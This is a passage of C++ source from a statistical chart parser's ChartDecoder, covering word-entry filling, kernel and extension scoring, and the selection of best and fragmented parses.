1;\r\n\t\t\tword = replacement_word;\r\n\t\t}\r\n\r\n\t}\r\n\t*/\r\n\t\t\t \r\n\r\n\r\n\tfor (int j = 0; j < numTags; j++) {\r\n\t\tconst Symbol &tag = tags[j];\r\n\t\tif (LanguageSpecificFunctions::isBasicPunctuationOrConjunction(tag))\r\n\t\t{\r\n\t\t\tpossiblePunctuationOrConjunction[chartIndex] = true;\r\n\t\t}\r\n\t\t\r\n\t\tChartEntry *entry = _new ChartEntry();\r\n\t\tentry->nameType = ParserTags::nullSymbol;\r\n\t\tfillWordEntry(entry, tag, word, originalWord, chartIndex, chartIndex);\r\n\t\t\r\n\t\tchart[chartIndex][chartIndex][j] = entry;\r\n\t}\r\n\r\n\tif (numTags == 0) {\r\n\t\tSessionLogger::warn(\"parser_word_features\")\r\n\t\t\t<< \"ChartDecoder::initChartWord(): some word is reducing to a feature vector\\n\"\r\n\t\t\t<< \"never seen in training: word -- \"\r\n\t\t\t<< originalWord.to_debug_string()\r\n\t\t\t<< \", vector -- \"\r\n\t\t\t<< word.to_debug_string();\r\n\t\tChartEntry *entry = _new ChartEntry();\r\n\t\tentry->nameType = ParserTags::nullSymbol;\r\n\t\t// don't actually calculate ranking score (that's what the \"false\" parameter indicates)\r\n\t\tfillWordEntry(entry, ParserTags::unknownTag, word, \r\n\t\t\toriginalWord, chartIndex, chartIndex, false);\r\n\t\tchart[chartIndex][chartIndex][0] = entry;\t\r\n\t\tnumTags = 1;\r\n\t}\r\n\r\n\tchart[chartIndex][chartIndex][numTags] = 0;\r\n}\r\nvoid ChartDecoder::fillWordEntry(ChartEntry *entry,\r\n\t\t\t\t\t\t\t\t const Symbol &tag, const Symbol &word, const Symbol &originalWord,\r\n\t\t\t\t\t\t\t\t int left, int right, bool setRankingScore) {\r\n\tfillWordEntry(entry, tag, tag, word, originalWord, left, right, setRankingScore);\r\n}\r\n\r\nvoid ChartDecoder::fillWordEntry(ChartEntry *entry, const Symbol &cat, \r\n\t\t\t\t\t\t\t\t const Symbol &tag, const Symbol &word, const Symbol &originalWord,\r\n\t\t\t\t\t\t\t\t int left, int right, bool setRankingScore) {\r\n\tentry->constituentCategory = cat;\r\n\tentry->headConstituent = ParserTags::nullSymbol;\r\n\tentry->headWord = word;\r\n\tentry->headTag = tag;\r\n\tentry->leftEdge = ParserTags::adjSymbol;\r\n\tentry->rightEdge = ParserTags::adjSymbol;\r\n\t\r\n\t// added to be able to do lexical bigrams\r\n\tentry->leftTag = tag;\r\n\tentry->rightTag = tag;\r\n\tentry->leftWord = word;\r\n\tentry->rightWord = word;\r\n\t\r\n\tentry->leftChild = 0;\r\n\tentry->rightChild = 0;\r\n\t/* //mrf change score to account for features\r\n\r\n\tentry->insideScore = 0;\r\n\tif (setRankingScore)\r\n\t\t// Now we want the score of the tag, for fragments with no parents\r\n\t\tentry->rankingScore = priorProbTable->lookup(cat, tag) +\r\n\t\t\t\t\t  \t\t  (float)log((leftLexicalProbs->lookupML(word, tag) +\r\n\t\t\t\t\t\t\t  rightLexicalProbs->lookupML(word, tag))\r\n\t\t\t\t\t\t\t  * 0.5);\r\n\telse\r\n\t\tentry->rankingScore = 0;\r\n\t*/\r\n\tSymbol ngram[1];\r\n\tngram[0]= word;\r\n\tfloat wordScore = featTable->lookup(ngram);\r\n\tentry->insideScore = wordScore;\r\n\tif (setRankingScore) {\r\n\t\t// Now we want the score of the tag, for fragments with no parents\r\n\t\tfloat lex = (leftLexicalProbs->lookupML(word, tag) \r\n\t\t\t+ rightLexicalProbs->lookupML(word, tag)) * 0.5f;\r\n\t\tif (lex == 0) \r\n\t\t\tlex = -10000;\r\n\t\telse lex = (float)log(lex);\r\n\t\tentry->rankingScore = priorProbTable->lookup(cat, tag) + lex + wordScore;\r\n\t} else\r\n\t\tentry->rankingScore = wordScore;\r\n\r\n\t\r\n\r\n\tentry->leftCapScore = 0;\r\n\tentry->rightCapScore = 0;\r\n\tentry->isPreterminal = true;\r\n\tentry->isPPofSignificantConstit = false;\r\n\t\r\n\t// diversity parsing\r\n\tentry->leftToken = left;\r\n\tentry->rightToken = right;\r\n\tif (entry->nameType != ParserTags::nullSymbol)\r\n\t\tentry->headIsSignificant = true;\r\n\telse if (LanguageSpecificFunctions::isNPtypePOStag(tag)) \r\n\t\tentry->headIsSignificant = scOracle->isPossibleDescriptorHeadWord(originalWord);\r\n\telse entry->headIsSignificant = false;\r\n\t\r\n\tentry->significantConstitNode = _new SignificantConstitNode();\r\n\t\r\n}\r\n\r\n\r\nvoid ChartDecoder::scoreKernel(ChartEntry* entry)\r\n{\r\n  float headScore = headProbs->lookup(\r\n                                      entry->kernelOp->headChain,\r\n                                      entry->constituentCategory,\r\n                                      entry->headWord,\r\n                                      entry->headTag);\r\n  const ChartEntry* modifier;\r\n  ModifierProbs* modProbs;\r\n  LexicalProbs* lexProbs;\r\n  LexicalProbs* altLexProbs;\r\n  if (entry->kernelOp->branchingDirection == BRANCH_DIRECTION_LEFT) {\r\n    modifier = entry->leftChild;\r\n    modProbs = premodProbs;\r\n    lexProbs = leftLexicalProbs;\r\n    altLexProbs = rightLexicalProbs;\r\n  } else {\r\n    modifier = entry->rightChild;\r\n    modProbs = postmodProbs;\r\n        lexProbs = rightLexicalProbs;\r\n        altLexProbs = leftLexicalProbs;\r\n  }\r\n  float modScore = modProbs->lookup(\r\n                                    entry->kernelOp->modifierChain,\r\n                                    modifier->headTag,\r\n                                    entry->constituentCategory,\r\n                                    entry->headConstituent,\r\n                                    ParserTags::adjSymbol,\r\n                                    entry->headWord,\r\n                                    entry->headTag);\r\n  float lexScore = lexProbs->lookup(\r\n                                    altLexProbs,\r\n                                    modifier->headWord,\r\n                                    entry->kernelOp->modifierChainFront,\r\n                                    modifier->headTag,\r\n                                    entry->constituentCategory,\r\n                                    entry->headConstituent,\r\n                                    entry->headWord,\r\n                                    entry->headTag); \r\n  float attachmentScore = headScore * modScore * lexScore;\r\n  if (attachmentScore == 0) {\r\n    entry->insideScore = -10000;\r\n    entry->rankingScore = -10000;\r\n  } else {\r\n    entry->insideScore = (float)log(attachmentScore) +\r\n      entry->leftChild->insideScore +\r\n      entry->leftChild->leftCapScore +\r\n      entry->leftChild->rightCapScore +\r\n      entry->rightChild->insideScore +\r\n      entry->rightChild->leftCapScore +\r\n      entry->rightChild->rightCapScore;\r\n    \r\n    // special case for top\r\n    if (ParserTags::TOPTAG == entry->headTag) {\r\n      float priorScore = priorProbTable->lookup(entry->constituentCategory,\r\n                                                entry->headTag);\r\n      entry->rankingScore = entry->insideScore + priorScore;\r\n      \r\n    }\r\n    \r\n    else {\r\n      Symbol ngram[] = {entry->constituentCategory, entry->headTag, entry->headWord};\r\n      if (cache_type == Simple) {\r\n        Cache<cacheN>::simple::iterator iter = simpleCache.find(ngram);\r\n        if (iter != simpleCache.end()) {\r\n          entry->rankingScore = entry->insideScore + (*iter).second;\r\n        } else {\r\n          float partial_score = computePartialRankingScore(entry);\r\n          entry->rankingScore = entry->insideScore + partial_score;\r\n          simpleCache.insert(std::make_pair(ngram, partial_score));\r\n        }\r\n#if !defined(_WIN32) && !defined(__APPLE_CC__)\r\n      } else if(cache_type == Lru) {\r\n        Cache<cacheN>::lru::iterator iter = lruCache.find(ngram);\r\n        if (iter != lruCache.end()) {\r\n          entry->rankingScore = entry->insideScore + (*iter).second;\r\n        } else {\r\n          float partial_score = computePartialRankingScore(entry);\r\n          entry->rankingScore = entry->insideScore + partial_score;\r\n          lruCache.insert(std::make_pair(ngram, partial_score));\r\n        }\r\n#endif\r\n      } else {\r\n        entry->rankingScore = entry->insideScore + computePartialRankingScore(entry);\r\n      }\r\n    }\r\n  }\r\n  \r\n  capLeft(entry);\r\n  capRight(entry);\r\n}\r\n\r\ninline\r\nfloat ChartDecoder::computePartialRankingScore(ChartEntry* entry) {\r\n  float priorScore = priorProbTable->lookup(entry->constituentCategory,\r\n                                            entry->headTag);\r\n  float lexMLScore = (leftLexicalProbs->lookupML(entry->headWord, entry->headTag) +\r\n                      rightLexicalProbs->lookupML(entry->headWord, entry->headTag))\r\n    * 0.5f;\r\n  if (lexMLScore == 0)\r\n    lexMLScore = -10000;\r\n  else \r\n    lexMLScore = (float)log(lexMLScore);\r\n          \r\n  return priorScore + lexMLScore;\r\n\r\n}\r\n  \r\nvoid ChartDecoder::scoreExtension(ChartEntry* entry)\r\n{\r\n    const ChartEntry* modifier;\r\n    ModifierProbs* modProbs;\r\n    Symbol prevMod;\r\n\tSymbol prevWord;\r\n\tSymbol prevTag;\r\n    LexicalProbs* lexProbs;\r\n    LexicalProbs* altLexProbs;\r\n\tbool use_special_lexical_probs;\r\n    if (entry->extensionOp->branchingDirection == BRANCH_DIRECTION_LEFT) {\r\n        modifier = entry->leftChild;\r\n        modProbs = premodProbs;\r\n        prevMod = entry->rightChild->leftEdge;\r\n\t\tprevWord = entry->rightChild->leftWord;\r\n\t\tprevTag = entry->rightChild->leftTag;\r\n        lexProbs = leftLexicalProbs;\r\n        altLexProbs = rightLexicalProbs;\r\n\t\tif (sequentialBigrams->use_left_sequential_bigrams(entry->constituentCategory))\r\n\t\t\tuse_special_lexical_probs = true;\r\n\t\telse use_special_lexical_probs = false;\r\n    } else {\r\n        modifier = entry->rightChild;\r\n        modProbs = postmodProbs;\r\n        prevMod = entry->leftChild->rightEdge;\r\n\t\tprevWord = entry->leftChild->rightWord;\r\n\t\tprevTag = entry->leftChild->rightTag;\r\n        lexProbs = rightLexicalProbs;\r\n        altLexProbs = leftLexicalProbs;\r\n\t\tif (sequentialBigrams->use_right_sequential_bigrams(entry->constituentCategory))\r\n\t\t\tuse_special_lexical_probs = true;\r\n\t\telse use_special_lexical_probs = false;\r\n    }\r\n\tfloat modScore;\r\n    if (!use_special_lexical_probs) {\r\n\t\tmodScore = modProbs->lookup(\r\n\t\t\tentry->extensionOp->modifierChain,\r\n\t\t\tmodifier->headTag,\r\n\t\t\tentry->constituentCategory,\r\n\t\t\tentry->headConstituent,\r\n\t\t\tprevMod,\r\n\t\t\tentry->headWord,\r\n\t\t\tentry->headTag);\r\n\t} else {\r\n\t\tmodScore = modProbs->lookup(\r\n\t\t\tentry->extensionOp->modifierChain,\r\n\t\t\tmodifier->headTag,\r\n\t\t\tentry->constituentCategory,\r\n\t\t\tentry->headConstituent,\r\n\t\t\tprevMod,\r\n\t\t\tprevWord,\r\n\t\t\tprevTag);\r\n\t}\r\n\tfloat lexScore;\r\n\tif (!use_special_lexical_probs) {\r\n\t\tlexScore = lexProbs->lookup(\r\n\t\t\taltLexProbs,\r\n\t\t\tmodifier->headWord,\r\n\t\t\tentry->extensionOp->modifierChainFront,\r\n\t\t\tmodifier->headTag,\r\n\t\t\tentry->constituentCategory,\r\n\t\t\tentry->headConstituent,\r\n\t\t\tentry->headWord,\r\n\t\t\tentry->headTag);\r\n\t} else {\r\n\t\tlexScore = lexProbs->lookup(\r\n\t\t\taltLexProbs,\r\n\t\t\tmodifier->headWord,\r\n\t\t\tentry->extensionOp->modifierChainFront,\r\n\t\t\tmodifier->headTag,\r\n\t\t\tentry->constituentCategory,\r\n\t\t\tentry->headConstituent,\r\n\t\t\tprevWord,\r\n\t\t\tprevTag);\r\n\t}\r\n    float attachmentScore = modScore * lexScore;\r\n    if (attachmentScore == 0) {\r\n        entry->insideScore = -10000;\r\n        entry->rankingScore = -10000;\r\n    } else {\r\n        entry->insideScore = (float)log(attachmentScore) +\r\n            entry->leftChild->insideScore +\r\n            entry->rightChild->insideScore +\r\n            modifier->leftCapScore +\r\n            modifier->rightCapScore;\r\n\t\tfloat lexMLScore = (leftLexicalProbs->lookupML(entry->headWord, entry->headTag) +\r\n\t\t\t\trightLexicalProbs->lookupML(entry->headWord, entry->headTag))\r\n\t\t\t\t* 0.5f;\r\n\t\tif (lexMLScore == 0) \r\n\t\t\tlexMLScore = -10000;\r\n\t\telse lexMLScore = (float)log(lexMLScore);\r\n        entry->rankingScore = entry->insideScore +\r\n            priorProbTable->lookup(entry->constituentCategory,\r\n\t\t\t    entry->headTag) + lexMLScore;\r\n\t\t\r\n    }\r\n    if (entry->extensionOp->branchingDirection == BRANCH_DIRECTION_LEFT) {\r\n        entry->rightCapScore = entry->rightChild->rightCapScore;\r\n        capLeft(entry);\r\n    } else {\r\n        entry->leftCapScore = entry->leftChild->leftCapScore;\r\n        capRight(entry);\r\n    }\r\n}\r\n\r\nvoid ChartDecoder::capLeft(ChartEntry* entry)\r\n{\r\n    float capScore = premodProbs->lookup(\r\n        ParserTags::exitSymbol,\r\n        ParserTags::exitSymbol,\r\n        entry->constituentCategory,\r\n        entry->headConstituent,\r\n        entry->leftEdge,\r\n        entry->headWord,\r\n        entry->headTag);\r\n    if (capScore == 0)\r\n        entry->leftCapScore = -10000;\r\n    else\r\n        entry->leftCapScore = (float)log(capScore);\r\n\r\n}\r\n\r\nvoid ChartDecoder::capRight(ChartEntry* entry)\r\n{\r\n    float capScore = postmodProbs->lookup(\r\n        ParserTags::exitSymbol,\r\n        ParserTags::exitSymbol,\r\n        entry->constituentCategory,\r\n        entry->headConstituent,\r\n        entry->rightEdge,\r\n        entry->headWord,\r\n        entry->headTag);\r\n    if (capScore == 0)\r\n        entry->rightCapScore = -10000;\r\n    else\r\n        entry->rightCapScore = (float)log(capScore);\r\n\r\n}\r\n\r\nParseNode* ChartDecoder::getBestParse(float &score, \r\n\t\t\t\t\t\t\t\t\t  int start,\r\n\t\t\t\t\t\t\t\t\t  int end,\r\n\t\t\t\t\t\t\t\t\t  bool topRequired)\r\n{\r\n\r\n\tint endChartIndex = end - 1;\r\n\r\n\r\n\t// prepare the global theories array with valid standalone sentences\r\n    if (chart[start][endChartIndex][0] != 0) {\r\n        numTheories = 0;\r\n        ChartEntry leftEntry;\r\n\t\tleftEntry.significantConstitNode = _new SignificantConstitNode();\r\n        leftEntry.constituentCategory = ParserTags::TOPTAG;\r\n        leftEntry.headConstituent = ParserTags::nullSymbol;\r\n        leftEntry.headWord = ParserTags::TOPWORD;\r\n        leftEntry.headTag = ParserTags::TOPTAG;\r\n        leftEntry.leftEdge = ParserTags::adjSymbol;\r\n        leftEntry.rightEdge = ParserTags::adjSymbol;\r\n        leftEntry.leftChild = 0;\r\n        leftEntry.rightChild = 0;\r\n        leftEntry.insideScore = 0;\r\n        leftEntry.rankingScore = 0;\r\n        leftEntry.leftCapScore = 0;\r\n        leftEntry.rightCapScore = 0;\r\n\t\tleftEntry.leftToken = 0;\r\n\t\tleftEntry.rightToken = 0;\r\n\t\tleftEntry.isPreterminal = true;\r\n\r\n\t\tfor (int i = 0; chart[start][endChartIndex][i] != 0; i++) {\r\n            ChartEntry* rightEntry = chart[start][endChartIndex][i];\r\n            addKernelTheories(&leftEntry, rightEntry);;\r\n        }\r\n\t}\r\n// NOTE: It is possible to let getBestFragmentedParse select the top whole-sentence\r\n// parse as well as the fragmented one. But there isn't multiple-parses support for it, so\r\n// for now, the below code is disabled. In the future, it may be turned back on.\r\n\r\n/*\t// new style now uses the theories array, as well\r\n\tif (_frag_prob >= 0) {\r\n\t\t// this prevents any multiples, obviously\r\n\t\tParseNode *return_tree = getBestFragmentedParse(score, start, endChartIndex);\r\n\t\t// cleanup from the previous initialization\r\n\t\tif (chart[start][endChartIndex][0] != 0 && numTheories > 0) {\r\n\t\t\tfor (int l = 0; l < numTheories; l++)\r\n\t\t\t\tdelete theories[l];\r\n\t\t}\r\n\t\treturn return_tree;\r\n\t}\r\n*/\r\n    if (chart[start][endChartIndex][0] != 0) {\r\n\t\tif (numTheories > 0) {\r\n\t\t\tParseNode *return_tree = \r\n\t\t\t\tgetMultipleParses(theories, numTheories, true);\r\n\r\n\t\t\t// delete theories\r\n\t\t\tfor (int l = 0; l < numTheories; l++) {\r\n\t\t\t\tdelete theories[l];\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\treturn return_tree;\r\n\r\n        } else if (!topRequired) {\r\n\r\n\t\t\tint index;\r\n\t\t\tfor (index = 0; chart[start][endChartIndex][index] != 0; index++)\r\n\t\t\t{}\r\n\t\t\t\r\n\t\t\tParseNode *return_tree = \r\n\t\t\t\tgetMultipleParses(chart[start][endChartIndex], index, false);\r\n\r\n\t\t\treturn return_tree;\r\n       }\r\n    }\r\n\tfloat fragmented_parse_score;\r\n\thighest_scoring_final_theory = 0;\r\n\treturn getBestFragmentedParse(fragmented_parse_score, start, endChartIndex);\r\n\t\t\r\n }\r\n\r\n#if 0\r\nstatic int\r\ncompare_chart_entry (const void *p1, const void *p2)\r\n{\r\n  ChartEntry *const *entry1 = static_cast<ChartEntry *const*>(p1);\r\n  ChartEntry *const *entry2 = static_cast<ChartEntry *const*>(p2);\r\n  int rc = 0;\r\n       if ((*entry1)->insideScore < (*entry2)->insideScore) rc = -1;\r\n  else if ((*entry1)->insideScore > (*entry2)->insideScore) rc = 1;\r\n  else if ((*entry1)->rankingScore < (*entry2)->rankingScore) rc = -1;\r\n  else if ((*entry1)->rankingScore > (*entry2)->rankingScore) rc = 1;\r\n  else if ((*entry1)->leftCapScore > (*entry2)->leftCapScore) rc = -1;\r\n  else if ((*entry1)->leftCapScore < (*entry2)->leftCapScore) rc = 1;\r\n  else if ((*entry1)->rightCapScore > (*entry2)->rightCapScore) rc = -1;\r\n  else if ((*entry1)->rightCapScore < (*entry2)->rightCapScore) rc = 1;\r\n  return rc;\r\n}\r\n#endif\r\n\r\nParseNode* ChartDecoder::getMultipleParses(ChartEntry **possibleTrees, \r\n\t\t\t\t\t\t\t\t\t\t   int numPossibleTrees,\r\n\t\t\t\t\t\t\t\t\t\t   bool only_right_child) \r\n{\r\n\tint good_theories[MAX_TAGS_PER_WORD];\r\n\t\r\n\t/*MRF 2-22-2004\r\n\t\tint good_theories[MAX_ENTRIES_PER_CELL];\r\n\t\tif you are dealing with a one word sentence, \r\n\t\tthe numPossibleTrees will be at most MAX_TAGS_PER_WORD\r\n\t\tnot MAX_ENTRIES_PER_CELL\r\n\t*/\r\n#if 0\r\n\tqsort (possibleTrees, numPossibleTrees, sizeof (ChartEntry *), \r\n\t       compare_chart_entry);\r\n#endif\r\n\r\n\t// initialize good_theories\r\n\tfor (int r = 0; r < numPossibleTrees; r++)\r\n\t\tgood_theories[r] = 0;\r\n\t\r\n\t// set good_theories\r\n\tfor (int m = 0; m < numPossibleTrees; m++) {\r\n\t\tif (good_theories[m] == -1) {\r\n\t\t\t//cout << \"Theory \" << m << \" deleted\\n\";\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\t//cout << \"Node   \" << m << \": \";\r\n\t\tbool flag = true;\r\n\t\tfor (int n = m + 1; n < numPossibleTrees; n++) {\r\n\t\t\t//if(!only_right_child)std::cerr<<\"\\t\\t\\tlook for sub :\" <<n<<std::endl;\r\n\r\n\t\t\tif (good_theories[n] == -1)\r\n\t\t\t\tcontinue;\r\n\t\t\tif (*(possibleTrees[m]->significantConstitNode) == \r\n\t\t\t\t*(possibleTrees[n]->significantConstitNode)) {\r\n\t\t\t\tif (\r\n#ifdef PARSER_FAST_FLOATING_POINT_COMPARISON\r\n\t\t\t\t    possibleTrees[m]->insideScore <\r\n\t\t\t\t\tpossibleTrees[n]->insideScore\r\n#else\r\n\t\t\t\t    __fcmp (possibleTrees[m]->insideScore,\r\n\t\t\t\t\t    possibleTrees[n]->insideScore) < 0\r\n#endif\r\n\t\t\t\t    ) {\r\n\t\t\t\t\t//cout << \" XXX\" << endl;\r\n\t\t\t\t\tgood_theories[m] = -1;\r\n\t\t\t\t\tflag = false;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tgood_theories[n] = -1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (flag) {\r\n\t\t\tgood_theories[m] = 1;\r\n\t\t\t//cout << endl;\r\n\t\t} \r\n\t\t\r\n\t}\r\n\t\r\n\t\r\n\tParseNode* return_tree = 0;\r\n\tParseNode* tree = 0;\r\n\tfloat highestScore = -10000;\r\n\tint highestScoring = -1;\r\n\t\r\n\t// find highestScore\r\n\tfor (int j = 0; j < numPossibleTrees; j++) {\r\n\t\tif (good_theories[j] == 1 &&\r\n#ifdef PARSER_FAST_FLOATING_POINT_COMPARISON\r\n\t\t\tpossibleTrees[j]->insideScore > highestScore\r\n#else\r\n\t\t    __fcmp (possibleTrees[j]->insideScore, highestScore) > 0\r\n#endif\r\n\t\t    )\r\n\t\t{\r\n\t\t\thighestScore = possibleTrees[j]->insideScore;\r\n\t\t\thighestScoring = j;\t\t\t\t\t\t\r\n\t\t}\r\n\t}\r\n\r\n\tif (highestScoring == -1)\r\n\t\treturn 0;\r\n\t\r\n\t// get trees\r\n\tint score_index = 0;\r\n\tfor (int k = 0; k < numPossibleTrees; k++) {\r\n\t\tif (good_theories[k] == 1 &&\r\n#ifdef PARSER_FAST_FLOATING_POINT_COMPARISON\r\n\t\t\tpossibleTrees[k]->insideScore > highestScore - 10\r\n#else\r\n\t\t    __fcmp (possibleTrees[k]->insideScore, \r\n\t\t\t    highestScore - 10.) > 0\r\n#endif\r\n\t\t    )\r\n\t\t{\r\n\t\t\tParseNode* subtree;\r\n\t\t\tif (only_right_child){\r\n\t\t\t\tsubtree = possibleTrees[k]->rightChild->toParseNode();\r\n\t\t\t}\r\n\t\t\telse{\r\n\t\t\t\tsubtree = possibleTrees[k]->toParseNode();\r\n\t\t\t}\r\n\t\t\ttheory_scores[score_index] = possibleTrees[k]->rankingScore;\r\n\t\t\ttheory_sc_strings[score_index] = possibleTrees[k]->significantConstitNode->toString();\r\n\t\t\tif (highestScoring == k)\r\n\t\t\t\thighest_scoring_final_theory = score_index;\r\n\t\t\tscore_index++;\r\n\t\t\t\r\n\t\t\tif (tree == 0) {\r\n\t\t\t\treturn_tree = subtree;\r\n\t\t\t\ttree = subtree;\r\n\t\t\t\ttree->next = 0;\r\n\t\t\t} else {\r\n\t\t\t\ttree->next = subtree;\r\n\t\t\t\ttree = tree->next;\r\n\t\t\t\ttree->next = 0;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t} else {\r\n\t\t\t//cout << \"discarded due to score: \" << k << endl;\r\n\t\t}\r\n\t}\r\n\t\r\n\t//cout << \"****************\\n\";\r\n\treturn return_tree;\r\n\r\n}\r\n\r\n// note: the former implementation of this method is very different, but accomplishes\r\n// more or less the same thing, with some limitations\r\nParseNode* ChartDecoder::getBestFragmentedParse(float &score, int start, int end)\r\n{\r\n\r\n\tint size = end-start+1;\r\n\tParseNode** bestRoutes = _new ParseNode*[size];\r\n\tfloat* routeScores = _new float[size];\r\n\tint i;\r\n\t// initialize all scores to log of 0 and all routes to empty pointers\r\n\tfor (i = 0; i < size; i++) {\r\n\t\trouteScores[i] = -10000;\r\n\t\tbestRoutes[i] = 0;\r\n\t}\r\n\r\n\t// for each starting point in the chart, create a node for the best way\r\n\t// to get to a later point in the chart, and store that parsenode in the \r\n\t// bestroutes array. score is score of existing node in the start position \r\n\t// in the bestRoutes array (except at the beginning) + score of the new node\r\n\t// + log(the frag penalty), except at the beginning.\r\n\r\n\tfor (i = 0; i < size; i++) {\r\n\t\tif (i != 0 && bestRoutes[i-1] == 0)\r\n\t\t\tcontinue;\r\n\t\tint j;\r\n\t\tfor (j = i; j < size; j++) {\r\n\t\t\t// find the best way from start+i to start+j\r\n\t\t\tif (chart[start+i][start+j][0] != 0) {\r\n\t\t\t\tint highestScoring = -1;\r\n\t\t\t\tChartEntry* highestEntry = 0;\r\n\t\t\t\t// changes the way the parse node is acquired\r\n\t\t\t\tbool hasTopTag = false;\r\n\r\n// DISABLED: this manner of getting fragments can be extended to get sentences or fragments,\r\n// depending on which score is higher. This is disabled until multiple parses are handled here,\r\n// but uncommenting the below code will allow the special case of validated whole-sentence\r\n// theories to be captured.\r\n\t\t\t\t\r\n\t\t\t\t// for the case of whole sentences, we first check the theories array \r\n\t\t\t\t// for validated sentences and use them if possible\r\n\t\t\t\t//if (i == 0 && j == size-1 && numTheories > 0) {\r\n\t\t\t\t//\tfor (int l = 0; l < numTheories; l++) {\r\n\t\t\t\t//\t\tif (highestScoring < 0 ||\r\n\t\t\t\t//\t\t\t(theories[l]->rankingScore >\r\n\t\t\t\t//\t\t\t theories[highestScoring]->rankingScore))\r\n\t\t\t\t//\t\t{\r\n\t\t\t\t//\t\t\thighestScoring = l;\r\n\t\t\t\t//\t\t}\r\n\t\t\t\t//\t}\r\n\t\t\t\t//\tif (highestScoring >=0) {\r\n\t\t\t\t//\t\thighestEntry = theories[highestScoring];\r\n\t\t\t\t//\t\thasTopTag = true;\r\n\t\t\t\t//\t}\r\n\t\t\t\t//}\r\n\t\t\t\t\r\n\r\n\t\t\t\t// non-whole-sentence cases, and if there's no valid theories\r\n\t\t\t\tif (highestScoring < 0) {\r\n\t\t\t\t\tfor (int l = 0; chart[start+i][start+j][l] != 0; l++) {\r\n\t\t\t\t\t\tif (highestScoring < 0 ||\r\n#ifdef PARSER_FAST_FLOATING_POINT_COMPARISON\r\n\t\t\t\t\t\t\t(chart[start+i][start+j][l]->rankingScore >\r\n\t\t\t\t\t\t\tchart[start+i][start+j][highestScoring]->rankingScore)\r\n#else\r\n\t\t\t\t\t\t    __fcmp (chart[start+i][start+j][l]->rankingScore,\r\n\t\t\t\t\t\t\t    chart[start+i][start+j][highestScoring]->rankingScore)\r\n\t\t\t\t\t\t    > 0\r\n#endif\r\n\t\t\t\t\t\t    )\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\thighestScoring = l;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (highestScoring < 0)\r\n\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\thighestEntry = chart[start+i][start+j][highestScoring];\r\n\t\t\t\t}\r\n\r\n\t\t\t\t// if the route to start+j is better than all the other routes, keep just that\r\n\t\t\t\t// route in bestRoutes[j]\r\n\r\n\t\t\t\t// the score is the penalty * p(getting right before here)*p(getting what is here) \r\n\t\t\t\t// if we started at start, no penalty, and (obviously) no previous score\r\n\t\t\t\tfloat currScore;\r\n\t\t\t\tif (i == 0)\r\n\t\t\t\t\tcurrScore = highestEntry->rankingScore;\r\n\t\t\t\telse\r\n\t\t\t\t\t// for frag probability of 0, we actually substitute the \r\n\t\t\t\t\t// log of 1x10^-100 - this differentiates from -10000\r\n\t\t\t\t\tcurrScore = (_frag_prob\r\n\t\t\t\t\t\t\t\t\t? static_cast<float>(log(_frag_prob))\r\n\t\t\t\t\t\t\t\t\t: -100.0f) + \r\n\t\t\t\t\t\t\t\trouteScores[i-1] + \r\n\t\t\t\t\t\t\t\thighestEntry->rankingScore;\r\n\r\n\t\t\t\tif (currScore > routeScores[j]) {\r\n\t\t\t\t\tif (bestRoutes[j] != 0)\r\n\t\t\t\t\t\tdelete bestRoutes[j];\r\n\t\t\t\t\t// the frag will be under a fragments tag \r\n\t\t\t\t\t// unless it extends to the end of the sentence.\r\n\t\t\t\t\tParseNode* newNode;\r\n\t\t\t\t\tif (j == size-1) {\r\n\t\t\t\t\t\tnewNode = hasTopTag ? highestEntry->rightChild->toParseNode() : highestEntry->toParseNode();\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tnewNode = _new ParseNode(ParserTags::FRAGMENTS, start+i, start+j);\r\n\t\t\t\t\t\tnewNode->headNode = highestEntry->toParseNode();\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (i == 0)\r\n\t\t\t\t\t\tbestRoutes[j] = newNode;\r\n\t\t\t\t\telse {\r\n\t\t\t\t\t\t// copy the frag up to the last word into this new frag,\r\n\t\t\t\t\t\t// and add the current frag as the last postmod\r\n\t\t\t\t\t\tbestRoutes[j] = _new ParseNode(bestRoutes[i-1]);\r\n\t\t\t\t\t\tbestRoutes[j]->chart_end_index = newNode->chart_end_index;\r\n\t\t\t\t\t\tParseNode* posts = bestRoutes[j]->postmods;\r\n\t\t\t\t\t\tif (posts == 0)\r\n\t\t\t\t\t\t\tbestRoutes[j]->postmods = newNode;\r\n\t\t\t\t\t\telse {\r\n\t\t\t\t\t\t\twhile (posts->postmods != 0) {\r\n\t\t\t\t\t\t\t\tposts->chart_end_index = newNode->chart_end_index;\r\n\t\t\t\t\t\t\t\tposts = posts->postmods;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tposts->postmods = newNode;\r\n\t\t\t\t\t\t\tposts->chart_end_index = newNode->chart_end_index;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\trouteScores[j] = currScore;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tscore = routeScores[size-1];\r\n\tParseNode* retNode;\r\n\tif (bestRoutes[size-1] == 0)\r\n\t\tretNode = static_cast<ParseNode*>(0);\r\n\telse\r\n\t\tretNode = bestRoutes[size-1];\r\n\r\n\t// hacks to mimic what getMultipleParses does...almost\r\n\t// since the theory isn't necessarily from a single chart entry, I can't\r\n\t// store the sc string\r\n\thighest_scoring_final_theory = 0;\r\n\ttheory_scores[0] = score; \r\n\r\n\t// clean up all but the last node\r\n\r\n\tfor (int j = 0; j < size-1; j++)\r\n\t\tif (bestRoutes[j] != 0)\r\n\t\t\tdelete bestRoutes[j];\r\n\tdelete [] bestRoutes;\r\n\tdelete [] routeScores;\r\n\r\n\treturn retNode;\r\n}\r\n\r\nint ChartDecoder::getTreeDepth(ParseNode* node) {\r\n\tif (node == 0)\r\n\t\treturn 0;\t\r\n\tParseNode *iter = node->headNode;\r\n\tint depth = getTreeDepth(iter);\r\n\titer = node->premods;\r\n\twhile (iter != 0) {\r\n\t\tdepth = std::max(depth, getTreeDepth(iter));\r\n\t\titer = iter->next;\r\n\t}\r\n\titer = node->postmods;\r\n\twhile (iter != 